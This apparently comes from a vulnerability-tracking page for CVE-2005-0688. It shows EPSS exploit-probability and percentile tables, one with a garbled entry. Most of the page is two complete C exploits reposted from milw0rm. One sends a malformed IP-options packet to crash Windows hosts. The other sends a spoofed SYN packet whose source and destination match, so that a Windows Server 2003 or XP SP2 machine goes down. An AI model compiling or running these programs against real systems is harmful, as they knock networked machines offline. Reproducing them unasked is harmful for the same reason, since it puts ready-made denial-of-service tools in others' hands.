CVE-2005-0688 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	20.65%	–	–
2022-04-03	–	–	20.65%	–	–
2023-02-26	–	–	20.65%	–	–
2023-03-12	–	–	–	10.79%	–
2023-07-02	–	–	–	8.92%	–
2024-02-18	–	–	–	7.84%	–
2024-06-02	–	–	–	7.84%	–
2024-09-15	–	–	–	8.88%	–
2025-01-19	–	–	–	8.88%	–
2025-03-18	–	–	–	–	81.21%
2025-03-30	–	–	–	–	81.98%
2025-04-06	–	–	–	–	80.79%
2025-04-06	–	–	–	–	80.79,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	94%
2022-04-03	96%
2023-02-26	97%
2023-03-12	94%
2023-07-02	94%
2024-02-18	94%
2024-06-02	94%
2024-09-15	95%
2025-01-19	95%
2025-03-18	99%
2025-03-30	99%
2025-04-06	99%
2025-04-06	99%

/* ecl-winipdos.c - 16/04/05 * Yuri Gushin <yuri@eclipse.org.il> * Alex Behar <alex@eclipse.org.il> * * This one was actually interesting, an off-by-one by our beloved * M$ :) * * When processing an IP packet with an option size (2nd byte after * the option) of 39, it will crash - since the maximum available * size is 40 for the whole IP options field, and two are already used: * [ OPT ] [ SIZE ] [ 38 more bytes ] * Checks are done to validate that the option-size field is less than * 40, where a value less than !39! should be checked for validation. * * Note that this doesn't affect ALL options, and is also dependant upon * the underlying protocol. * Anyways, a small PoC to see how it works and why, tweak test and * explore, have fun :) * * * Greets fly out to the ECL crew, Valentin Slavov, blexim, stranger, * manevski, elius, shrink, Evgeny Pinchuk, Ishay Sommer, and anyone else * who got left out :D * */ #ifndef _BSD_SOURCE #define _BSD_SOURCE #endif #include <stdio.h> #include <string.h> #include <time.h> #include <libnet.h> #define IP_H 20 #define IPOPTS_MAX 40 void banner(); void usage(char *); int main(int argc, char **argv) { char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *l; char *device = NULL; int c; u_char *buf; int packet_len = 0; struct ip *IP; struct tcphdr *TCP; u_int32_t src = 0, dst = 0; banner(); if (argc < 4) usage(argv[0]); if ((l = libnet_init(LIBNET_RAW4, device, errbuf)) == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(-1); } if ((src = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Unresolved source address\n"); exit(-1); } if ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Unresolved destination address\n"); exit(-1); } if ( (buf = malloc(IP_MAXPACKET)) == NULL ) { perror("malloc"); exit(-1); } buf[20] = atoi(argv[3]); buf[21] = 39; // our malformed size for (c = 0; c<38; c+=3) strncpy(&buf[22+c], "ECL", 3); // padding TCP = (struct tcphdr *)(buf + IP_H + IPOPTS_MAX); TCP->th_off = 5; packet_len = IP_H + IPOPTS_MAX + (TCP->th_off << 2); srand(time(NULL)); IP = (struct ip *) buf; IP->ip_v = 4; /* version 4 */ IP->ip_hl = 5 + (IPOPTS_MAX / 4);/* 60 byte header */ IP->ip_tos = 0; /* IP tos */ IP->ip_len = htons(packet_len); /* total length */ IP->ip_id = rand(); /* IP ID */ IP->ip_off = htons(0); /* fragmentation flags */ IP->ip_ttl = 64; /* time to live */ IP->ip_p = IPPROTO_TCP; /* transport protocol */ IP->ip_sum = 0; IP->ip_src.s_addr = src; IP->ip_dst.s_addr = dst; TCP->th_sport = htons(1337); TCP->th_dport = htons(80); TCP->th_seq = 0; TCP->th_ack = 0; TCP->th_x2 = 0; TCP->th_flags = TH_SYN; TCP->th_win = rand() & 0xffff; TCP->th_sum = 0; TCP->th_urp = 0; libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_TCP, TCP->th_off << 2); if ((c = libnet_write_raw_ipv4(l, buf, packet_len)) == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); exit(-1); } printf("Packet sent.\n"); libnet_destroy(l); free(buf); return (0); } void usage(char *cmd) { printf("Usage: %s <source> <destination> <option>\n",cmd); exit(-1); } void banner() { printf("\t\tWindows malformed IP Options DoS exploit\n" "\t\t Yuri Gushin <yuri@eclipse.org.il>\n" "\t\t Alex Behar <alex@eclipse.org.il>\n" "\t\t\t ECL Team\n\n\n"); } // milw0rm.com [2005-04-17]

/* Added Line #1 - BSD_SOURCE!!!! /str0ke */ #define _BSD_SOURCE #include <stdio.h> #include <ctype.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <sysexits.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> /* Windows Server 2003 and XP SP2 remote DoS exploit Tested under OpenBSD 3.6 at WinXP SP 2 Vuln by Dejan Levaja <dejan_@_levaja.com> , http://security.nnov.ru/docs7998.html (c)oded by __blf 2005 RusH Security Team , http://rst.void.ru Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy All rights reserved. */ //checksum function by r0ach u_short checksum (u_short *addr, int len) { u_short *w = addr; int i = len; int sum = 0; u_short answer; while (i > 0) { sum += *w++; i-=2; } if (i == 1) sum += *(u_char *)w; sum = (sum >> 16) + (sum & 0xffff); sum = sum + (sum >> 16); return (~sum); } int main(int argc, char ** argv) { struct in_addr src, dst; struct sockaddr_in sin; struct _pseudoheader { struct in_addr source_addr; struct in_addr destination_addr; u_char zero; u_char protocol; u_short length; } pseudoheader; struct ip * iph; struct tcphdr * tcph; int mysock; u_char * packet; u_char * pseudopacket; int on = 1; if( argc != 3) { fprintf(stderr, "r57windos.c by __blf\n"); fprintf(stderr, "RusH Security Team\n"); fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]); return EX_USAGE; } if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL) { perror("malloc()\n"); return EX_OSERR; } inet_aton(argv[1], &src); inet_aton(argv[1], &dst); iph = (struct ip *) packet; iph->ip_v = IPVERSION; iph->ip_hl = 5; iph->ip_tos = 0; iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr)); iph->ip_off = htons(IP_DF); iph->ip_ttl = 255; iph->ip_p = IPPROTO_TCP; iph->ip_sum = 0; iph->ip_src = src; iph->ip_dst = dst; tcph = (struct tcphdr *)(packet +sizeof(struct ip)); tcph->th_sport = htons(atoi(argv[2])); tcph->th_dport = htons(atoi(argv[2])); tcph->th_seq = ntohl(rand()); tcph->th_ack = rand(); tcph->th_off = 5; tcph->th_flags = TH_SYN; // setting up TCP SYN flag here tcph->th_win = htons(512); tcph->th_sum = 0; tcph->th_urp = 0; pseudoheader.source_addr = src; pseudoheader.destination_addr = dst; pseudoheader.zero = 0; pseudoheader.protocol = IPPROTO_TCP; pseudoheader.length = htons(sizeof(struct tcphdr)); if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL) { perror("malloc()\n"); return EX_OSERR; } memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader)); memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr)); tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr)); mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if(!mysock) { perror("socket!\n"); return EX_OSERR; } if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) { perror("setsockopt"); shutdown(mysock, 2); return EX_OSERR; } sin.sin_family = PF_INET; sin.sin_addr = dst; sin.sin_port = htons(80); if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, (struct sockaddr *)&sin, sizeof(sin)) == -1) { perror("sendto()\n"); shutdown(mysock, 2); return EX_OSERR; } printf("Packet sent. Remote machine should be down.\n"); shutdown(mysock, 2); return EX_OK; } // milw0rm.com [2005-03-07]